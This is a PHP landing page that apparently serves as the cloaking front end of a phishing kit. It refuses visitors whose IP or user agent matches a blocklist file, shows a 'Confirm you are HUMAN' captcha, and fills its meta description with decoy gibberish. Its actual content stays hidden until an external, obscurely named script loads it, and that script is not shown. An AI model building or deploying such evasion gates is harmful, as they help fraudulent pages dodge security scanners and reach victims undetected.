/home/sweetnotes/www/digicloud/index.php
<?php

ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(E_ALL);


$blocklistFile = __DIR__ . '/ball.txt';
$blockedEntries = [];
if (file_exists($blocklistFile)) {
    $blockedEntries = array_map(
        'trim',
        file($blocklistFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)
    );
}


$visitorIpRaw = $_SERVER['REMOTE_ADDR'] ?? '';
$visitorIp    = filter_var($visitorIpRaw, FILTER_VALIDATE_IP);
$visitorUA    = $_SERVER['HTTP_USER_AGENT'] ?? '';

if ($visitorIp === false) {
    header('HTTP/1.1 403 Forbidden');
    exit('Access Denied');
}

function ipMatchesCIDR(string $ip, string $cidr): bool {
    if (strpos($cidr, '/') === false) {
        return false;
    }
    list($net, $mask) = explode('/', $cidr, 2);

    if (filter_var($net, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
        $mask = (int)$mask;
        if ($mask < 0 || $mask > 32) {
            return false;
        }
        $ipLong   = ip2long($ip);
        $netLong  = ip2long($net);
        $maskLong = ~((1 << (32 - $mask)) - 1);
        return ($ipLong & $maskLong) === ($netLong & $maskLong);
    }


    if (filter_var($net, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
        $mask = (int)$mask;
        if ($mask < 0 || $mask > 128) {
            return false;
        }
        $ipBin       = inet_pton($ip);
        $netBin      = inet_pton($net);
        $fullBytes   = intdiv($mask, 8);
        $partialBits = $mask % 8;


        if (strncmp($ipBin, $netBin, $fullBytes) !== 0) {
            return false;
        }
        if ($partialBits === 0) {
            return true;
        }

        $maskByte = ~(0xFF >> $partialBits) & 0xFF;
        return ((ord($ipBin[$fullBytes]) & $maskByte)
              === (ord($netBin[$fullBytes]) & $maskByte));
    }

    return false;
}

foreach ($blockedEntries as $entry) {
    if ($entry === '') {
        continue; 
    }

    if (preg_match('/^\/.*\/[imsxuADSUXJ]*$/', $entry)) {
        if (@preg_match($entry, $visitorIp) || @preg_match($entry, $visitorUA)) {
            header('HTTP/1.1 403 Forbidden');
            exit('Access Denied');
        }

    } elseif (strpos($entry, '/') !== false) {
        if (ipMatchesCIDR($visitorIp, $entry)) {
            header('HTTP/1.1 403 Forbidden');
            exit('Access Denied');
        }

    } elseif (filter_var($entry, FILTER_VALIDATE_IP)) {
        if ($visitorIp === $entry) {
            header('HTTP/1.1 403 Forbidden');
            exit('Access Denied');
        }

    } else {
        if (stripos($visitorUA, $entry) !== false) {
            header('HTTP/1.1 403 Forbidden');
            exit('Access Denied');
        }
    }
}


?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
  <title><?=htmlspecialchars($_SERVER['HTTP_HOST'],ENT_QUOTES)?></title>
  <meta name="description" content="Another journey chamber way yet females man. Way extensive and dejection get delivered deficient sincerity gentleman age. Too end instrument possession contrasted motionless. Calling offence six joy feeling. Coming merits and was talent enough far. Sir joy northward sportsmen education. Discovery incommode earnestly no he commanded if. Put still any about manor heard.">
  <link rel="stylesheet" href="/digicloud/img/index.css">
  <link rel="stylesheet" href="/digicloud/img/styles.css">
  <script src="https://www.google.com/recaptcha/api.js" async defer></script>
  <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
  <script src="/digicloud/js/27t732321122.js" defer></script>
</head>
<body>
  <div id="captcha-container">
    <h2>Confirm you are HUMAN</h2>
    <div class="g-recaptcha"
         data-sitekey="6Lfgkm0sAAAAANnU3_wQ18ldc64OUW9oE0S5iPX6"
         data-callback="onGoogleCaptchaSuccess"
         style="display:inline-block;"></div>
  </div>

  <div id="content-container" style="display:none;">
    
  </div>

  
  <script src="/digicloud/js/captcha.js?cb=<?= time() ?>"></script>
</body>
</html>